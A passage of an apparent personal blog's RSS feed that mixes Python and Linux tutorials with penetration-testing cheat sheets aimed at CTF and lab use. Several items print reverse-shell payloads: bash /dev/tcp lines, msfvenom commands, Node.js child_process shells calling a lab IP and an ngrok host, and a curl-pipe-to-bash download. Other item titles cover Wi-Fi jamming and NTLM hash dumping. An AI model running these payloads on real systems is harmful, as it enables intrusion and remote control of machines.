&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;3456789&amp;#39; → from index 3 to end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;0123456&amp;#39; → from start to index 6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;0246&amp;#39; → step 2 from index 0 to 6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#39;036&amp;#39; → step 3 from index 0 to 6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="-string-formatting"&gt;✅ String Formatting&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;chai_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Masala&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;quantity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;I ordered &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; cups of &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; chai&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;chai_type&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Output: I ordered 2 cups of Masala chai&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>🎵 How to Use Jockie Music Bot. 🎶</title><link>http://gajendramahato.com.np/posts/tipsandtricks/tutorials/discord_bot_jookie_music_tutorilas/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/tutorials/discord_bot_jookie_music_tutorilas/</guid><description/></item><item><title>Brute Force Login Page with Hydra</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/hydra_-_brute_force/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/hydra_-_brute_force/</guid><description/></item><item><title>Bypassing `disable_functions` in PHP for Reverse Shell Using Chankro</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-bypassing-disable_functions-in-php-for-reverse-shell-using-chankro/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-bypassing-disable_functions-in-php-for-reverse-shell-using-chankro/</guid><description>&lt;p&gt;Sometimes &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt;, and other dangerous PHP functions are disabled. &lt;code&gt;Chankro&lt;/code&gt; helps us bypass these by using &lt;code&gt;LD_PRELOAD&lt;/code&gt; and custom shared objects.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="-step-by-step-guide"&gt;🧠 Step-by-Step Guide&lt;/h2&gt;
&lt;h3 id="-1-identify-target-architecture"&gt;🔍 1. Identify Target Architecture&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Access the &lt;code&gt;phpinfo.php&lt;/code&gt; page on the target.&lt;/li&gt;
&lt;li&gt;Look for architecture info:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Architecture =&amp;gt; x86_64&lt;/code&gt; → 64-bit&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Architecture =&amp;gt; i686&lt;/code&gt; or &lt;code&gt;i386&lt;/code&gt; → 32-bit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="-2-create-shell-script"&gt;💣 2. Create Shell Script&lt;/h3&gt;
&lt;p&gt;Prepare a Bash reverse shell in a file named &lt;code&gt;shell&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.5/9001 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34;&lt;/span&gt; &amp;gt; shell
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="-3-install-chankro"&gt;⚙️ 3. Install Chankro&lt;/h3&gt;
&lt;p&gt;If not installed:&lt;/p&gt;</description></item><item><title>Chisel Port Forwarding Guide</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/%EF%B8%8F_chisel_port_forwarding_guide/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/%EF%B8%8F_chisel_port_forwarding_guide/</guid><description/></item><item><title>Clang Format Configurations for C-family Languages (C, C++, etc)</title><link>http://gajendramahato.com.np/posts/tipsandtricks/tutorials/clang_format_configurations_for_c-family_languages/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/tutorials/clang_format_configurations_for_c-family_languages/</guid><description/></item><item><title>Configuring DHCP Server to Assign Hostname via DHCP</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/change_hostname_from_dhcp_server_without_changing_machine_hostname_for_networks/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/change_hostname_from_dhcp_server_without_changing_machine_hostname_for_networks/</guid><description>This guide explains how to configure the DHCP server to assign a hostname to a client.</description></item><item><title>Downloading Files from Linux to Windows Using Windows CLI</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/windows_native_shell/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/windows_native_shell/</guid><description/></item><item><title>Dumping NTLM Hashes via Non-Interactive Shell (Windows)</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/dumping_ntlm_hashes_via_non_interactive_shell_and__cracking_it_using_various_tools/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/dumping_ntlm_hashes_via_non_interactive_shell_and__cracking_it_using_various_tools/</guid><description/></item><item><title>Easy Guide to Fixing GRUB on Garuda/Arch Linux in BTRFS File System</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/chroot_in_btrfs_and_fixing_grub_boot_manager/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/chroot_in_btrfs_and_fixing_grub_boot_manager/</guid><description>This simple guide helps you fix the GRUB bootloader on Garuda Linux with a BTRFS file system. Follow these steps to install the necessary tools, mount partitions, fix GRUB, and check EFI entries.</description></item><item><title>FFUF - Fuzz Faster U Fool</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ffuf-fuzz-faster-u-fool/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ffuf-fuzz-faster-u-fool/</guid><description/></item><item><title>File Inclusion Cheat Sheet</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/lfi/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/lfi/</guid><description>&lt;h1 id="file-inclusion-and-path-traversal"&gt;File Inclusion and Path Traversal&lt;/h1&gt;
&lt;h2 id="at-a-glance"&gt;At a Glance&lt;/h2&gt;
&lt;p&gt;File inclusion is the method for applications, and scripts, to include local or remote files during run-time. The vulnerability occurs when an application generates a path to executable code using an attacker-controlled variable, giving the attacker control over which file is executed.&lt;/p&gt;
&lt;p&gt;There are two different types. &lt;strong&gt;Local File Inclusion&lt;/strong&gt; (LFI) where the application includes files on the current server. And &lt;strong&gt;Remote File Inclusion&lt;/strong&gt; (RFI) where the application downloads and execute files from a remote server. &lt;a href="#fn:1"&gt;1&lt;/a&gt;&lt;/p&gt;</description></item><item><title>File Sharing Over SMB Using `smbserver.py`</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/smb_using_smbserver.py/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/smb_using_smbserver.py/</guid><description/></item><item><title>File Transfer Over SSH Using `scp`</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ssh_using_scp/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ssh_using_scp/</guid><description/></item><item><title>File Transfer Using Netcat</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/netcat/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/netcat/</guid><description/></item><item><title>File Transfer via FTP on Linux</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ftp_on_linux/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ftp_on_linux/</guid><description/></item><item><title>Generating Reverse Shells with Metasploit's msfvenom.</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/metasploit_meterpreter_reverseshell/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/metasploit_meterpreter_reverseshell/</guid><description>&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Always remember to use the same payload in &lt;code&gt;msfconsole&lt;/code&gt; as you used to generate in &lt;code&gt;msfvenom&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="linux-reverse-shell-extension-doesnt-matter-for-linux"&gt;Linux Reverse Shell (extension doesn&amp;rsquo;t matter for Linux)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p linux/x64/shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.10.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9001&lt;/span&gt; -f elf -o shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p linux/x64/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.10.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9001&lt;/span&gt; -f elf -o shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Payload Type:&lt;/strong&gt; Shell Reverse TCP &lt;strong&gt;Suitable for:&lt;/strong&gt; Linux systems, &lt;code&gt;Netcat&lt;/code&gt; listener required.&lt;/p&gt;
&lt;h3 id="windows-x64-reverse-shell"&gt;Windows x64 Reverse Shell&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.10.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9001&lt;/span&gt; -f exe -o shell.exe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/meterpreter_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.10.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9001&lt;/span&gt; -f exe -o shell.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Payload Type:&lt;/strong&gt; Windows x64 Meterpreter Reverse TCP &lt;strong&gt;Suitable for:&lt;/strong&gt; 64-bit Windows systems, spawns a Meterpreter session.&lt;/p&gt;</description></item><item><title>HTTP Status Code</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/http_status_code/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/http_status_code/</guid><description>&lt;p&gt;These codes indicate that the request was successfully received, understood, and accepted.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;200 OK&lt;/strong&gt;: The request was successful.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;201 Created&lt;/strong&gt;: The request was successful, and a resource was created.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;202 Accepted&lt;/strong&gt;: The request has been accepted but not yet processed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;204 No Content&lt;/strong&gt;: The request was successful, but there is no content to send back.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="3xx-redirection"&gt;3xx: Redirection&lt;/h3&gt;
&lt;p&gt;These codes indicate that further action is needed to complete the request.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;301 Moved Permanently&lt;/strong&gt;: The resource has been permanently moved to a new URL.&lt;/p&gt;</description></item><item><title>IDA Debugger Key Notes (Default)</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ida_debugger_shortcut/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/ida_debugger_shortcut/</guid><description/></item><item><title>Jamming Wi-Fi with `mdk4`</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/wifi_jam_tutorials_by_mdk3_mdk4_aireplayng/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/wifi_jam_tutorials_by_mdk3_mdk4_aireplayng/</guid><description/></item><item><title>JavaScript Reverse Shell &amp; Command Execution Cheat Sheet</title><link>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-javascript-reverse-shell--command-execution-cheat-sheet/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/penetration_testing/webvulnerability/-javascript-reverse-shell--command-execution-cheat-sheet/</guid><description>&lt;p&gt;Useful JavaScript snippets for remote command execution, reverse shells, and post-exploitation via Node.js or vulnerable &lt;code&gt;eval()&lt;/code&gt; injection.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="-basic-reverse-shell-using-child_processexec"&gt;📄 Basic Reverse Shell using &lt;code&gt;child_process.exec()&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;child_process&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;nc 0.tcp.in.ngrok.io 18402 -e /bin/sh&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="-listener-on-attacker-side"&gt;📌 Listener on attacker side:&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp &lt;span class="m"&gt;18402&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="-spawn-a-shell-via-spawn-method"&gt;📄 Spawn a shell via &lt;code&gt;spawn()&lt;/code&gt; method&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;child_process&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/bin/sh&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This spawns an interactive shell on the server if injected.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="-execute-a-simple-linux-command"&gt;📄 Execute a simple Linux command&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;child_process&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ls -la&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="-download-and-execute-a-script-eg-reverse-shell-script"&gt;📄 Download and execute a script (e.g., reverse shell script)&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;child_process&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;curl http://10.10.14.5/rev.sh | bash&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="-reverse-shell-using-bash-and-tcp"&gt;📄 Reverse shell using &lt;code&gt;bash&lt;/code&gt; and TCP&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;child_process&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.5/9001 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;💡 Use this when &lt;code&gt;nc -e&lt;/code&gt; is restricted or not available.&lt;/p&gt;</description></item><item><title>Kali Distrobox Persistent Config</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/kali_distrobox_persistent_config/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/kali_distrobox_persistent_config/</guid><description/></item><item><title>Kali Docker Persistent Container</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/kali_docker_persistent_container/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/kali_docker_persistent_container/</guid><description/></item><item><title>Merge `dev` brach into `stable` branch in git</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/merge_the_content_from_the_dev_branch_to_the_stable_branch_in_git/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/merge_the_content_from_the_dev_branch_to_the_stable_branch_in_git/</guid><description/></item><item><title>Metasploit Practical Guide (for Beginners and CTF use)</title><link>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/metasploit_practical_guide_for_beginners_and_ctf_use/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/cheatsheets/metasploit_practical_guide_for_beginners_and_ctf_use/</guid><description/></item><item><title>Object Types / Data Types</title><link>http://gajendramahato.com.np/posts/tipsandtricks/programming/1._datatypes/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/programming/1._datatypes/</guid><description>&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Number&lt;/strong&gt;: &lt;code&gt;1234, 3.1415, 3+4j, 0b1111, Decimal(), Fraction()&lt;/code&gt;&lt;br&gt;
&lt;em&gt;Examples of numbers, including integers, floats, complex, binary, Decimal, and Fraction.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;String&lt;/strong&gt;: &lt;code&gt;'spam', &amp;quot;Bob's&amp;quot;, b'a\x01c', u'sp\xc4m'&lt;/code&gt;
&lt;em&gt;Examples of strings, including regular, byte, and unicode strings.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;List&lt;/strong&gt;: &lt;code&gt;[1, [2, 'three'], 4.5], list(range(10))&lt;/code&gt;
&lt;em&gt;List examples, including nested lists and lists generated from a range.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tuple&lt;/strong&gt;: &lt;code&gt;(1, 'spam', 4, 'U'), tuple('spam'), namedtuple&lt;/code&gt;
&lt;em&gt;Examples of tuples, including a basic tuple, a tuple from a string, and namedtuple.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Persistent MAC Address Spoofing (Global + Per-Connection) by QwenAi</title><link>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/persistent_mac_address_spoofing_global_+_per-connection__by_qwenai/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>http://gajendramahato.com.np/posts/tipsandtricks/archlinux/persistent_mac_address_spoofing_global_+_per-connection__by_qwenai/</guid><description>&lt;p&gt;&lt;em&gt;by QwenAI | Verified on Arch Linux + NetworkManager ≥ 1.18&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ &lt;strong&gt;Goal&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apply the &lt;em&gt;same&lt;/em&gt; spoofed MAC to &lt;strong&gt;all Wi-Fi connections&lt;/strong&gt; (global).&lt;/li&gt;
&lt;li&gt;Optionally set a custom &lt;strong&gt;DHCP hostname&lt;/strong&gt; per network (e.g., &lt;code&gt;Galaxy-A06&lt;/code&gt; instead of &lt;code&gt;Nix&lt;/code&gt;).&lt;br&gt;
🔧 &lt;strong&gt;Why it works&lt;/strong&gt;: Uses NM’s native &lt;code&gt;cloned-mac-address&lt;/code&gt; and &lt;code&gt;dhcp-hostname&lt;/code&gt; — no race conditions, no leaks.&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-1-global-mac-spoofing-all-wi-fi"&gt;🔧 1. Global MAC Spoofing (All Wi-Fi)&lt;/h2&gt;
&lt;h3 id="step-1-create-policy-file"&gt;Step 1: Create policy file&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir -p /etc/NetworkManager/conf.d/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo tee /etc/NetworkManager/conf.d/99-global-mac-address.conf &lt;span class="s"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
